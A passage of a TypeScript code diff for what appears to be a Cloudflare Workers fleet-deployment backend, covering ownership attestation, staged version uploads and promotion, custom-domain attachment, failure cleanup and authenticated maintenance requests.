+      !databaseId ||
+      databaseIds.length !== 1 ||
+      databaseIds[0] !== databaseId ||
+      plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
+      plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
+      plainText.get('FLEET_SPEC_DIGEST') !== digest
+    ) {
+      throw new Error(
+        `refusing to mutate Worker '${spec.scriptName}' with drifted tenant, environment, specification, or D1 ownership`,
+      );
+    }
+    for (const deployed of status?.versions ?? []) {
+      const deployedVersion = await this.#api.viewVersion(
+        spec.scriptName,
+        deployed.id,
+      );
+      const deployedPlainText = this.#plainTextBindings(deployedVersion);
+      const deployedDatabaseIds = this.#databaseIds(deployedVersion);
+      const deployedDigest = deployedPlainText.get('FLEET_SPEC_DIGEST');
+      if (
+        deployedDatabaseIds.length !== 1 ||
+        deployedDatabaseIds[0] !== databaseId ||
+        deployedPlainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
+        deployedPlainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
+        !deployedDigest ||
+        !isSha256(deployedDigest)
+      ) {
+        throw new Error(
+          `refusing to mutate Worker '${spec.scriptName}' with a drifted deployed version`,
+        );
+      }
+    }
+    return candidateId;
+  }
+
+  async #attestPersistedWorkerOwnership(
+    spec: DeploymentSpec,
+    databaseId: string,
+    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
+    activeRelease: ExternalReleaseSnapshot | undefined,
+  ): Promise<string | undefined> {
+    const allowed = [activeRelease, ...(retainedReleases ?? [])].filter(
+      (release): release is ExternalReleaseSnapshot => release !== undefined,
+    );
+    if (allowed.length === 0) {
+      return this.#attestWorkerOwnership(spec, databaseId);
+    }
+    const [status, versions] = await Promise.all([
+      this.#deploymentStatus(spec),
+      this.#listVersions(spec),
+    ]);
+    if (!status && (!versions || versions.length === 0)) return undefined;
+    if (!status || status.versions.length === 0) {
+      throw new Error(
+        `refusing to mutate Worker '${spec.scriptName}' without an attestable current deployment`,
+      );
+    }
+    const releasesByVersion = new Map(
+      allowed.map((release) => [release.artifactVersion, release]),
+    );
+    for (const deployed of status.versions) {
+      const release = releasesByVersion.get(deployed.id);
+      if (!release) {
+        throw new Error(
+          `refusing to mutate Worker '${spec.scriptName}' with a current deployment outside its persisted artifact set`,
+        );
+      }
+      const version = await this.#api.viewVersion(spec.scriptName, deployed.id);
+      const plainText = this.#plainTextBindings(version);
+      const databaseIds = this.#databaseIds(version);
+      if (
+        databaseIds.length !== 1 ||
+        databaseIds[0] !== databaseId ||
+        plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
+        plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
+        plainText.get('FLEET_SPEC_DIGEST') !== release.specDigest ||
+        plainText.get('FLEET_SCHEMA_VERSION') !==
+          String(release.releaseSchemaVersion)
+      ) {
+        throw new Error(
+          `refusing to mutate Worker '${spec.scriptName}' with drifted persisted artifact ownership`,
+        );
+      }
+    }
+    return status.versions[0]?.id;
+  }
+
+  async #attestTeardownWorkerOwnership(
+    spec: DeploymentSpec,
+    databaseId: string,
+    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
+    activeRelease: ExternalReleaseSnapshot | undefined,
+  ): Promise<string | undefined> {
+    const releases = [activeRelease, ...(retainedReleases ?? [])].filter(
+      (release): release is ExternalReleaseSnapshot => release !== undefined,
+    );
+    const allowed = releases.filter(
+      (release) => release.physicalScriptName === spec.scriptName,
+    );
+    if (releases.length > 0 && allowed.length === 0) {
+      throw new Error(
+        `refusing to mutate Worker '${spec.scriptName}' without a matching persisted release`,
+      );
+    }
+    const [status, versions, footprint, namespaceIds] = await Promise.all([
+      this.#deploymentStatus(spec),
+      this.#listVersions(spec),
+      this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName),
+      this.#api.listDurableObjectNamespaces(spec.scriptName),
+    ]);
+    const listed = versions ?? [];
+    if (!status && listed.length === 0) {
+      if (
+        footprint.scriptPresent ||
+        footprint.customDomains.length > 0 ||
+        footprint.zoneRoutes.length > 0 ||
+        namespaceIds.length > 0
+      ) {
+        throw new Error(
+          `refusing to mutate Worker '${spec.scriptName}' with an inconsistent script footprint`,
+        );
+      }
+      return undefined;
+    }
+    if (!status || !footprint.scriptPresent || listed.length === 0) {
+      throw new Error(
+        `refusing to mutate Worker '${spec.scriptName}' without consistent live deployment, version, and provider footprints`,
+      );
+    }
+    const validInventory = listed.map((version) => {
+      if (!version.versionId) {
+        throw new Error(
+          `refusing to mutate Worker '${spec.scriptName}' with an invalid version inventory`,
+        );
+      }
+      return { id: version.versionId, tag: version.tag };
+    });
+    const listedIds = validInventory.map(({ id }) => id);
+    if (new Set(listedIds).size !== listedIds.length) {
+      throw new Error(
+        `refusing to mutate Worker '${spec.scriptName}' with a duplicate version inventory`,
+      );
+    }
+    type ReleaseIdentity = Readonly<{
+      specDigest: string;
+      releaseSchemaVersion: number;
+    }>;
+    const desiredIdentity: ReleaseIdentity = {
+      specDigest: deploymentSpecDigest(spec),
+      releaseSchemaVersion: spec.schemaVersion,
+    };
+    const viewedVersions = new Map<string, PlainWorkerVersionDetail>();
+    const remember = (
+      id: string,
+      version: PlainWorkerVersionDetail,
+    ): PlainWorkerVersionDetail => {
+      viewedVersions.set(id, version);
+      return version;
+    };
+    const view = async (id: string): Promise<PlainWorkerVersionDetail> => {
+      const cached = viewedVersions.get(id);
+      if (cached !== undefined) return cached;
+      const version = await this.#api.viewVersion(spec.scriptName, id);
+      return remember(id, version);
+    };
+    const find = async (
+      id: string,
+    ): Promise<PlainWorkerVersionDetail | undefined> => {
+      const cached = viewedVersions.get(id);
+      if (cached !== undefined) return cached;
+      const version = await this.#api.findVersion(spec.scriptName, id);
+      return version ? remember(id, version) : undefined;
+    };
+    const assertIdentity = (
+      version: PlainWorkerVersionDetail,
+      expectedReleases: readonly ReleaseIdentity[],
+    ): void => {
+      const plainText = this.#plainTextBindings(version);
+      const databaseIds = this.#databaseIds(version);
+      const release = expectedReleases.find(
+        (candidate) =>
+          candidate.specDigest === plainText.get('FLEET_SPEC_DIGEST') &&
+          String(candidate.releaseSchemaVersion) ===
+            plainText.get('FLEET_SCHEMA_VERSION'),
+      );
+      if (
+        !release ||
+        databaseIds.length !== 1 ||
+        databaseIds[0] !== databaseId ||
+        plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
+        plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
+        plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT
+      ) {
+        throw new Error(
+          `refusing to mutate Worker '${spec.scriptName}' with drifted live teardown ownership`,
+        );
+      }
+    };
+    let anchorId: string | undefined;
+    if (allowed.length > 0) {
+      for (const release of allowed) {
+        const anchor = await find(release.artifactVersion);
+        if (!anchor) continue;
+        assertIdentity(anchor, [release]);
+        anchorId = release.artifactVersion;
+        break;
+      }
+    } else {
+      const taggedAnchor = validInventory.find(
+        ({ tag }) => tag === desiredIdentity.specDigest,
+      );
+      if (taggedAnchor) {
+        assertIdentity(await view(taggedAnchor.id), [desiredIdentity]);
+        anchorId = taggedAnchor.id;
+      }
+    }
+    if (!anchorId) {
+      throw new Error(
+        `refusing to mutate Worker '${spec.scriptName}' without a trusted artifact version anchor`,
+      );
+    }
+    const expectedReleases: readonly ReleaseIdentity[] =
+      allowed.length > 0 ? allowed : [desiredIdentity];
+    for (const deployed of status.versions) {
+      assertIdentity(await view(deployed.id), expectedReleases);
+    }
+    return status.versions[0]?.id;
+  }
+
+  async #assertDatabaseResidualIdentity(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#assertMutationFence(fence);
+    if (
+      record.backend !== this.kind ||
+      record.tenantTag !== spec.tenantTag ||
+      record.environment !== spec.environment ||
+      record.scriptName !== spec.scriptName ||
+      record.databaseName !== spec.databaseName ||
+      record.databaseId !== database.id ||
+      record.databaseName !== database.name ||
+      record.routeHostname !== spec.routeHostname ||
+      record.desiredSpecDigest !== deploymentSpecDigest(spec)
+    ) {
+      throw new Error(
+        `refusing to attest database detachment for mismatched fleet record '${record.tenantTag}:${record.environment}'`,
+      );
+    }
+  }
+
+  async #assertDatabaseResidualTail(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    const [status, versions, domains, footprint, namespaceIds] =
+      await Promise.all([
+        this.#deploymentStatus(spec),
+        this.#listVersions(spec),
+        this.#api.listCustomDomains(),
+        this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName),
+        this.#api.listDurableObjectNamespaces(spec.scriptName),
+      ]);
+    const routeFootprint = domains.filter(
+      (domain) =>
+        domain.service === spec.scriptName ||
+        domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(),
+    );
+    const hasProviderVersions = Boolean(versions && versions.length > 0);
+    if (!status && !hasProviderVersions && !footprint.scriptPresent) {
+      if (
+        routeFootprint.length > 0 ||
+        footprint.customDomains.length > 0 ||
+        footprint.zoneRoutes.length > 0 ||
+        namespaceIds.length > 0
+      ) {
+        throw new Error(
+          `database '${record.databaseId}' has a residual route or Durable Object namespace footprint`,
+        );
+      }
+      await this.#assertMutationFence(fence);
+      return;
+    }
+    if (!status && !hasProviderVersions && footprint.scriptPresent) {
+      throw new Error(
+        `database '${record.databaseId}' has an ordinary Worker footprint that the provider cannot attest`,
+      );
+    }
+    if ((status || hasProviderVersions) && !footprint.scriptPresent) {
+      throw new Error(
+        `database '${record.databaseId}' has inconsistent authoritative and provider Worker footprints`,
+      );
+    }
+    let ownedWorker: string | undefined;
+    try {
+      ownedWorker = await this.#attestWorkerOwnership(spec, record.databaseId);
+    } catch (cause) {
+      throw new Error(
+        `database '${record.databaseId}' has a foreign or mismatched Worker footprint`,
+        { cause },
+      );
+    }
+    if (!ownedWorker) {
+      const [
+        reconciledStatus,
+        reconciledVersions,
+        reconciledDomains,
+        reconciledFootprint,
+        reconciledNamespaceIds,
+      ] = await Promise.all([
+        this.#deploymentStatus(spec),
+        this.#listVersions(spec),
+        this.#api.listCustomDomains(),
+        this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName),
+        this.#api.listDurableObjectNamespaces(spec.scriptName),
+      ]);
+      const reconciledRoute = reconciledDomains.some(
+        (domain) =>
+          domain.service === spec.scriptName ||
+          domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(),
+      );
+      const hasReconciledVersions = Boolean(
+        reconciledVersions && reconciledVersions.length > 0,
+      );
+      if (
+        !reconciledStatus &&
+        !hasReconciledVersions &&
+        !reconciledRoute &&
+        !reconciledFootprint.scriptPresent &&
+        reconciledFootprint.customDomains.length === 0 &&
+        reconciledFootprint.zoneRoutes.length === 0 &&
+        reconciledNamespaceIds.length === 0
+      ) {
+        await this.#assertMutationFence(fence);
+        return;
+      }
+      throw new Error(
+        `database '${record.databaseId}' detachment changed during attestation`,
+      );
+    }
+    throw new Error(
+      `database '${record.databaseId}' remains attached to owned Worker '${spec.scriptName}'`,
+    );
+  }
+
+  async assertDatabaseDeletionResidualsRemoved(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#assertDatabaseResidualIdentity(spec, record, database, fence);
+    await this.#assertDatabaseResidualTail(spec, record, fence);
+  }
+
+  async assertDatabaseDetached(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#assertDatabaseResidualIdentity(spec, record, database, fence);
+    const databaseAttachments = await this.#api.listWorkerDatabaseAttachments(
+      database.id,
+    );
+    if (databaseAttachments.length > 0) {
+      throw new Error(
+        `database '${record.databaseId}' remains attached to ${databaseAttachments
+          .map(
+            (attachment) =>
+              `${attachment.plane} Worker '${attachment.scriptName}'`,
+          )
+          .join(', ')}`,
+      );
+    }
+    await this.#assertDatabaseResidualTail(spec, record, fence);
+  }
+
+  async #customDomain(
+    hostname: string,
+  ): Promise<PlainWorkerCustomDomain | undefined> {
+    const normalized = hostname.toLowerCase();
+    const matches = (await this.#api.listCustomDomains()).filter(
+      (domain) => domain.hostname.toLowerCase() === normalized,
+    );
+    if (matches.length > 1) {
+      throw new Error(`custom domain '${hostname}' has duplicate ownership`);
+    }
+    return matches[0];
+  }
+
+  async #attestPromotionRoute(
+    spec: DeploymentSpec,
+    guard: PromotionGuard,
+  ): Promise<PlainWorkerCustomDomain | undefined> {
+    const current = await this.#customDomain(spec.routeHostname);
+    if (!current) {
+      if (!guard.allowUnrouted) {
+        throw new Error(
+          `custom domain '${spec.routeHostname}' is unexpectedly absent during promotion`,
+        );
+      }
+      return undefined;
+    }
+    if (!guard.allowedCurrentScriptNames.includes(current.service)) {
+      throw new Error(
+        `custom domain '${spec.routeHostname}' is owned by unexpected Worker '${current.service}'`,
+      );
+    }
+    return current;
+  }
+
+  async #deployCandidateAtZero(
+    spec: DeploymentSpec,
+    candidateId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    const current = await this.#deploymentStatus(spec);
+    if (!current) {
+      throw new Error(
+        `existing Worker '${spec.scriptName}' has no active deployment`,
+      );
+    }
+    if (current.versions.some((version) => version.id === candidateId)) return;
+    for (let attempt = 0; ; attempt += 1) {
+      this.#assertMutationDuration(fence);
+      const outcome = await this.#api.createDeployment(
+        spec.scriptName,
+        [
+          ...current.versions.map((version) => ({
+            versionId: version.id,
+            percentage: version.percentage,
+          })),
+          { versionId: candidateId, percentage: 0 },
+        ],
+        fence,
+      );
+      if (outcome.status === 'failed') {
+        const reconciled = await this.#deploymentStatus(spec);
+        if (
+          !reconciled?.versions.some((version) => version.id === candidateId)
+        ) {
+          await this.#waitForReconciledMutationRetry(outcome.error, attempt);
+          continue;
+        }
+      }
+      return;
+    }
+  }
+
+  async deployWorker(
+    spec: DeploymentSpec,
+    database: DatabaseReference,
+    secrets: DeploymentSecrets,
+    _platformResources: ExternalPlatformResources | undefined,
+    fence: ExternalMutationFence,
+    expectedArtifactVersion?: string,
+    application?: import('./types.js').ApplicationBindingTopology,
+  ): Promise<{ artifactVersion: string; created: boolean }> {
+    if (spec.authoredBy !== 'platform') {
+      throw new Error(
+        'plain Worker backend refuses externally authored Workers',
+      );
+    }
+    if (
+      spec.durableObjectBindings.some(
+        (binding) =>
+          binding.scriptName !== undefined ||
+          binding.dispatchNamespace !== undefined,
+      )
+    ) {
+      throw new Error(
+        'plain Worker backend supports only local Durable Object bindings',
+      );
+    }
+    const deployment = await this.#deploymentStatus(spec);
+    const versions = await this.#listVersions(spec);
+    const workerExisted = deployment !== undefined || versions !== undefined;
+    const priorVersionIds = new Set(
+      (versions ?? []).map((version) => {
+        if (!version.versionId) {
+          throw new Error('plain Worker version inventory has no version id');
+        }
+        return version.versionId;
+      }),
+    );
+    let candidateId = expectedArtifactVersion
+      ? await this.#expectedCandidate(spec, expectedArtifactVersion, versions)
+      : undefined;
+    const pendingDurableObjectMigration =
+      targetDurableObjectTag(spec) !== spec.previousDurableObjectTag;
+    if (deployment && pendingDurableObjectMigration) {
+      throw new Error(
+        `existing Worker '${spec.scriptName}' has a pending Durable Object lifecycle migration; plain-Worker updates require an immediate/manual migration boundary`,
+      );
+    }
+    if (deployment) {
+      await this.#assertExistingWorkerIdentity(spec, database.id, deployment);
+    }
+    if (
+      candidateId &&
+      deployment?.versions.some((version) => version.id === candidateId)
+    ) {
+      return { artifactVersion: candidateId, created: false };
+    }
+    const ingressModule = plainWorkerIngressModule(spec);
+    const digest = deploymentSpecDigest(spec);
+    const mode = deployment === undefined ? 'initial' : 'staged';
+    const publicAccess: PlainWorkerUploadIntent['publicAccess'] = {
+      workersDevEnabled: true,
+      previewUrlsEnabled: false,
+    };
+    let uploadOutcome: PlainWorkerUploadOutcome | undefined;
+    const uploadCleanupErrors: unknown[] = [];
+    const uploadCandidate = async () => {
+      this.#assertMutationDuration(fence);
+      uploadOutcome = await this.#api.uploadCandidate(
+        {
+          scriptName: spec.scriptName,
+          candidateTag: digest,
+          mainModule: ingressModule.name,
+          modules: [...spec.modules, ingressModule],
+          compatibilityDate: spec.compatibilityDate,
+          compatibilityFlags: spec.compatibilityFlags,
+          bindings: {
+            plainText: [
+              { name: 'DEPLOYMENT_TENANT', value: spec.tenantTag },
+              { name: 'FLEET_ENVIRONMENT', value: spec.environment },
+              {
+                name: 'FLEET_SCHEMA_VERSION',
+                value: String(spec.schemaVersion),
+              },
+              { name: 'FLEET_SPEC_DIGEST', value: digest },
+              {
+                name: 'FLEET_INGRESS_CONTRACT',
+                value: PLAIN_INGRESS_CONTRACT,
+              },
+              ...(application?.vars ?? canonicalApplicationBindings(spec).vars),
+            ],
+            secrets: [
+              {
+                name: 'DEPLOYMENT_IDENTITY_SECRET',
+                value: secrets.deploymentIdentity,
+              },
+              {
+                name: 'MAINTENANCE_ADMIN_SECRET',
+                value: secrets.maintenanceAdmin,
+              },
+              ...Object.entries(applicationSecretValues(spec, secrets)).map(
+                ([name, value]) => ({ name, value }),
+              ),
+            ],
+            d1: [
+              {
+                name: 'DB',
+                databaseName: database.name,
+                databaseId: database.id,
+              },
+            ],
+            durableObjects: spec.durableObjectBindings.map((binding) => ({
+              name: binding.name,
+              className: binding.className,
+            })),
+            services: spec.egressProxyService
+              ? [
+                  {
+                    name: 'EGRESS_PROXY',
+                    service: spec.egressProxyService,
+                  },
+                ]
+              : [],
+            queueProducers: spec.queueProducer
+              ? [
+                  {
+                    name: spec.queueProducer.binding,
+                    queueName: spec.queueProducer.queueName,
+                  },
+                ]
+              : [],
+            r2Buckets: (application?.r2Buckets ?? []).map((binding) => ({
+              name: binding.name,
+              bucketName: binding.bucketName,
+            })),
+          },
+          limits: {
+            cpuMs: spec.cpuLimitMs,
+            ...(spec.subrequestLimit !== undefined
+              ? { subrequests: spec.subrequestLimit }
+              : {}),
+          },
+          publicAccess,
+          ...(mode === 'initial'
+            ? {
+                mode,
+                durableObjectMigrations: spec.durableObjectMigrations,
+              }
+            : { mode }),
+        },
+        fence,
+      );
+      if (uploadOutcome.cleanup.status === 'failed') {
+        uploadCleanupErrors.push(uploadOutcome.cleanup.error);
+      }
+    };
+    if (!candidateId) await uploadCandidate();
+    let settled:
+      | Readonly<{
+          ok: true;
+          result: Readonly<{ artifactVersion: string; created: boolean }>;
+        }>
+      | Readonly<{
+          ok: false;
+          error: Readonly<{
+            message: string;
+            cause: unknown;
+            createdByAttempt: boolean;
+            resourceState: 'absent' | 'present' | 'unknown';
+          }>;
+        }>;
+    try {
+      if (!candidateId) {
+        let operationCandidates: string[];
+        // A transient failure permits another upload only after tagged-version
+        // reconciliation proves that this attempt created no candidate.
+        for (let attempt = 0; ; attempt += 1) {
+          operationCandidates = (await this.#matchingCandidateIds(spec)).filter(
+            (id) => !priorVersionIds.has(id),
+          );
+          if (
+            operationCandidates.length !== 0 ||
+            uploadOutcome?.status !== 'failed' ||
+            !uploadOutcome.error
+          ) {
+            break;
+          }
+          await this.#waitForReconciledMutationRetry(
+            uploadOutcome.error,
+            attempt,
+          );
+          await uploadCandidate();
+        }
+        if (operationCandidates.length !== 1) {
+          if (uploadOutcome?.status === 'failed' && uploadOutcome.error) {
+            throw uploadOutcome.error;
+          }
+          // A falsy rejection value carries no diagnostic; keep the rediscovery
+          // error (pre-port parity).
+          throw new Error(
+            `${mode} Worker upload did not create exactly one new tagged Worker version`,
+          );
+        }
+        const operationCandidate = operationCandidates[0];
+        if (!operationCandidate) {
+          throw new Error('new Worker candidate has no artifact version');
+        }
+        if (uploadOutcome?.status === 'failed') {
+          const footprint = await this.#api.inspectOrdinaryWorkerFootprint(
+            spec.scriptName,
+          );
+          if (
+            footprint.workersDevEnabled !== publicAccess.workersDevEnabled ||
+            footprint.previewUrlsEnabled !== publicAccess.previewUrlsEnabled
+          ) {
+            throw new Error(
+              `reconciled Worker upload for '${spec.scriptName}' did not converge public access`,
+            );
+          }
+        }
+        candidateId = operationCandidate;
+      }
+      if (deployment) {
+        await this.#deployCandidateAtZero(spec, candidateId, fence);
+      } else {
+        const initial = await this.#deploymentStatus(spec);
+        const selected = initial?.versions.find(
+          (version) => version.id === candidateId,
+        );
+        if (selected?.percentage !== 100) {
+          throw new Error(
+            `initial Worker '${spec.scriptName}' did not deploy its tagged version at 100%`,
+          );
+        }
+      }
+      settled = {
+        ok: true,
+        result: { artifactVersion: candidateId, created: !workerExisted },
+      };
+    } catch (cause) {
+      if (workerExisted) {
+        settled = {
+          ok: false,
+          error: {
+            message: `failed to update existing Worker '${spec.scriptName}'`,
+            cause,
+            createdByAttempt: false,
+            resourceState: 'present',
+          },
+        };
+      } else {
+        const cleanupErrors: unknown[] = [];
+        const cleanupRelease: ExternalReleaseSnapshot | undefined = candidateId
+          ? {
+              physicalScriptName: spec.scriptName,
+              specDigest: digest,
+              artifactVersion: candidateId,
+              releaseSchemaVersion: spec.schemaVersion,
+            }
+          : undefined;
+        let trafficRemoved = false;
+        try {
+          await this.removeTraffic(
+            spec,
+            undefined,
+            cleanupRelease,
+            database,
+            fence,
+          );
+          await this.assertTrafficRemoved(spec);
+          trafficRemoved = true;
+        } catch (cleanupError) {
+          cleanupErrors.push(cleanupError);
+        }
+        if (trafficRemoved) {
+          try {
+            await this.revokeCredentials(
+              spec,
+              undefined,
+              cleanupRelease,
+              database,
+              fence,
+            );
+          } catch (cleanupError) {
+            cleanupErrors.push(cleanupError);
+          }
+          try {
+            await this.deleteWorker(
+              spec,
+              undefined,
+              database,
+              cleanupRelease,
+              fence,
+            );
+          } catch (cleanupError) {
+            cleanupErrors.push(cleanupError);
+          }
+        }
+        settled = {
+          ok: false,
+          error:
+            cleanupErrors.length > 0
+              ? {
+                  message: `failed to install credentials and clean up '${spec.scriptName}'`,
+                  cause: new AggregateError([cause, ...cleanupErrors]),
+                  createdByAttempt: true,
+                  resourceState: 'unknown',
+                }
+              : {
+                  message: `failed to install Worker '${spec.scriptName}'`,
+                  cause,
+                  createdByAttempt: true,
+                  resourceState: 'absent',
+                },
+        };
+      }
+    }
+    if (!settled.ok) {
+      const record = settled.error;
+      const cause =
+        uploadCleanupErrors.length > 0
+          ? new AggregateError(
+              [record.cause, ...uploadCleanupErrors],
+              'Worker upload and adapter scratch cleanup both failed',
+            )
+          : record.cause;
+      throw new WorkerDeploymentError({ ...record, cause });
+    }
+    if (uploadCleanupErrors.length > 0) {
+      throw new WorkerDeploymentError({
+        message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch`,
+        cause:
+          uploadCleanupErrors.length === 1
+            ? uploadCleanupErrors[0]
+            : new AggregateError(uploadCleanupErrors),
+        createdByAttempt: !workerExisted,
+        resourceState: 'present',
+      });
+    }
+    return settled.result;
+  }
+
+  async promoteWorker(
+    spec: DeploymentSpec,
+    guard: PromotionGuard,
+    _outboundPolicy: DeploymentEgressPolicy | undefined,
+    fence: ExternalMutationFence,
+    expectedArtifactVersion?: string,
+  ): Promise<void> {
+    if (!expectedArtifactVersion) {
+      throw new Error(
+        'plain Worker promotion requires a persisted artifact version',
+      );
+    }
+    const candidateId = await this.#expectedCandidate(
+      spec,
+      expectedArtifactVersion,
+    );
+    if (!candidateId) {
+      throw new Error(
+        `Worker '${spec.scriptName}' has no version for the desired fleet specification`,
+      );
+    }
+    const current = await this.#deploymentStatus(spec);
+    if (!current?.versions.some((version) => version.id === candidateId)) {
+      throw new Error(
+        `Worker candidate '${candidateId}' is not in the current deployment`,
+      );
+    }
+    await this.#attestPromotionRoute(spec, guard);
+    const promoted =
+      current.versions.length === 1 &&
+      current.versions[0]?.id === candidateId &&
+      current.versions[0].percentage === 100;
+    if (!promoted) {
+      for (let attempt = 0; ; attempt += 1) {
+        this.#assertMutationDuration(fence);
+        const outcome = await this.#api.createDeployment(
+          spec.scriptName,
+          [{ versionId: candidateId, percentage: 100 }],
+          fence,
+        );
+        if (outcome.status === 'failed') {
+          const reconciled = await this.#deploymentStatus(spec);
+          if (
+            reconciled?.versions.length !== 1 ||
+            reconciled.versions[0]?.id !== candidateId ||
+            reconciled.versions[0].percentage !== 100
+          ) {
+            await this.#waitForReconciledMutationRetry(outcome.error, attempt);
+            continue;
+          }
+        }
+        break;
+      }
+    }
+    const beforeAttach = await this.#attestPromotionRoute(spec, guard);
+    if (beforeAttach?.service !== spec.scriptName) {
+      await this.#assertMutationFence(fence);
+      await this.#api.attachCustomDomain(
+        {
+          hostname: spec.routeHostname,
+          service: spec.scriptName,
+        },
+        fence,
+      );
+    }
+    const attached = await this.#customDomain(spec.routeHostname);
+    if (attached?.service !== spec.scriptName) {
+      throw new Error(
+        `custom domain '${spec.routeHostname}' did not attest Worker '${spec.scriptName}' after promotion`,
+      );
+    }
+  }
+
+  async #requestMaintenance(
+    url: URL,
+    init: RequestInit,
+    mismatch: (maintenance: MaintenanceHealth) => string | undefined,
+    fence?: ExternalMutationFence,
+  ): Promise<MaintenanceHealth> {
+    const deadline = Date.now() + this.#maintenanceRouteReadyTimeoutMs;
+    let readinessError = new Error(
+      `maintenance request failed with HTTP 404. workers.dev route did not serve within ${this.#maintenanceRouteReadyTimeoutMs} ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag`,
+    );
+    let routeNotReady = false;
+    for (;;) {
+      if (fence) await this.#assertMutationFence(fence);
+      const remaining = deadline - Date.now();
+      if (remaining <= 0) throw readinessError;
+      let response: Response;
+      try {
+        response = await this.#fetch(url, {
+          ...init,
+          signal: AbortSignal.timeout(
+            Math.min(this.#maintenanceRequestTimeoutMs, remaining),
+          ),
+        });
+      } catch (error) {
+        if (routeNotReady && Date.now() >= deadline) throw readinessError;
+        throw error;
+      }
+      const mediaType = response.headers
+        .get('content-type')
+        ?.split(';')[0]
+        ?.trim()
+        .toLowerCase();
+      if (
+        (response.status !== 404 && response.status !== 500) ||
+        (mediaType !== 'text/plain' && mediaType !== 'text/html') ||
+        response.headers.get('cache-control') === 'no-store' ||
+        response.headers.has('www-authenticate')
+      ) {
+        // readMaintenanceHealth consumes the body on the ok path and cancels
+        // it on the refusal path. The route-not-ready branch below cancels
+        // because nothing reads that response at all.
+        const maintenance = await readMaintenanceHealth(response);
+        const message = mismatch(maintenance);
+        if (!message) return maintenance;
+        if (maintenance.deploymentSpecDigest === undefined) {
+          throw new Error(message);
+        }
+        readinessError = new Error(
+          `${message} within ${this.#maintenanceRouteReadyTimeoutMs} ms after the deployment change`,
+        );
+      } else {
+        readinessError = new Error(
+          `maintenance request failed with HTTP ${response.status}. workers.dev route did not serve within ${this.#maintenanceRouteReadyTimeoutMs} ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag`,
+        );
+        cancelBodyWithoutAwait(response.body, readinessError);
+      }
+      routeNotReady = true;
+      const waitMs = Math.min(
+        this.#maintenanceRouteReadyIntervalMs,
+        deadline - Date.now(),
+      );
+      if (waitMs <= 0) throw readinessError;
+      await new Promise((resolve) => setTimeout(resolve, waitMs));
+    }
+  }
+
+  async ensureMaintenance(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+    fence: ExternalMutationFence,
+    expectedArtifactVersion?: string,
+  ): Promise<MaintenanceHealth> {
+    if (!expectedArtifactVersion) {
+      throw new Error(
+        'plain Worker maintenance requires a persisted artifact version',
+      );
+    }
+    const candidateId = await this.#expectedCandidate(
+      spec,
+      expectedArtifactVersion,
+    );
+    const current = await this.#deploymentStatus(spec);
+    if (
+      !candidateId ||
+      !current?.versions.some((version) => version.id === candidateId)
+    ) {
+      throw new Error('desired Worker candidate is not deployed');
+    }
+    if (this.#maintenanceRequestTimeoutMs >= fence.mutationLeaseTtlMs) {
+      throw new Error(
+        'maintenance request timeout must be below the external mutation fence lease TTL',
+      );
+    }
+    const expected = deploymentSpecDigest(spec);
+    return this.#requestMaintenance(
+      maintenanceUrl(spec, '/admin/ensure-maintenance'),
+      {
+        method: 'POST',
+        headers: {
+          authorization: `Bearer ${maintenanceAdminSecret}`,
+          'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${candidateId}"`,
+        },
+      },
+      (maintenance) =>
+        maintenance.deploymentSpecDigest !== expected
+          ? `maintenance response did not attest fleet specification digest '${expected}'`
+          : undefined,
+      fence,
+    );
+  }
+
+  async inspect(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+    expectedArtifactVersion?: string,
+  ): Promise<LiveDeployment | undefined> {
+    const status = await this.#deploymentStatus(spec);
+    if (!status) return undefined;
+    const candidateId = expectedArtifactVersion
+      ? await this.#expectedCandidate(spec, expectedArtifactVersion)
+      : await this.#findCandidate(spec);
+    const candidateDeployed =
+      candidateId !== undefined &&
+      status.versions.some((version) => version.id === candidateId);
+    const active = status.versions.find((version) => version.percentage > 0);
+    const artifactVersion = candidateDeployed ? candidateId : active?.id;
+    if (!artifactVersion) {
+      throw new Error('plain Worker deployment status has no active version');
+    }
+    const version = await this.#api.viewVersion(
+      spec.scriptName,
+      artifactVersion,
+    );
+    const databaseIds = this.#databaseIds(version);
+    const durableObjectBindings = version.bindings.flatMap((binding) =>
+      binding.type === 'durable-object' &&
+      typeof binding.namespaceId === 'string' &&
+      typeof binding.name === 'string' &&
+      typeof binding.className === 'string'
+        ? [
+            {
+              name: binding.name,
+              className: binding.className,
+              namespaceId: binding.namespaceId,
+            },
+          ]
+        : [],
+    );
+    const serviceBindings = version.bindings.flatMap((binding) =>
+      binding.type === 'service' &&
+      typeof binding.name === 'string' &&
+      typeof binding.service === 'string'
+        ? [{ name: binding.name, service: binding.service }]
+        : [],
+    );
+    const queueProducerBindings = version.bindings.flatMap((binding) =>
+      binding.type === 'queue-producer' &&
